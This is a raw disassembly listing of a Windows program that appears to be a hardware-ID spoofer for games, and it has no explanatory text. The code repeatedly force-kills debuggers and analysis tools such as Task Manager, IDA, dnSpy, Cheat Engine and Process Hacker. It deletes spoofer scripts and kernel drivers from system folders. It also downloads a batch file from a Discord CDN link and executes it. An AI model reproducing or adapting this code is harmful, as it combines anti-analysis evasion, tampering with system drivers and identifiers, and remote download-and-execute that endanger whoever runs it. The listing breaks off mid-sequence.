xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIDEWINx64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_volumeid64.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, [rsp + 0xc790]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc7b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc7d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc7f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc810]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc830]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc850]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc870]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc890]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc8b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc8d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc8f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc910]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc950]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc970]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc990]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc9b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc9d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc9f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xca10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xca30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xca50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xca70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xca90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcab0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcad0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcaf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcb10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa390]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa3b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa3d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa3f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa410]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa430]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa450]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa470]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa490]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa4b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa4d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa4f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa510]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa530]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa550]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa570]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa590]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa5b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa5d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa5f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa610]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa630]
call fcn.14005d8e0
cmp dword [0x140406d74], 2
jne 0x1400902ca
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xad70]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xad50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xad50]
call fcn.14005d8d0
mov qword [rsp + 0x1128], rax
lea rcx, [rsp + 0xad70]
call fcn.14005d8d0
mov qword [rsp + 0x1130], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1128]
mov rdx, qword [rsp + 0x1130]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.REMINDER_YOU_CAN_ONLY_USE_THIS_METHOD_ONCE_PER_RESTART
lea rdx, str.REMINDER_YOU_CAN_ONLY_USE_THIS_METHOD_ONCE_PER_RESTART
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
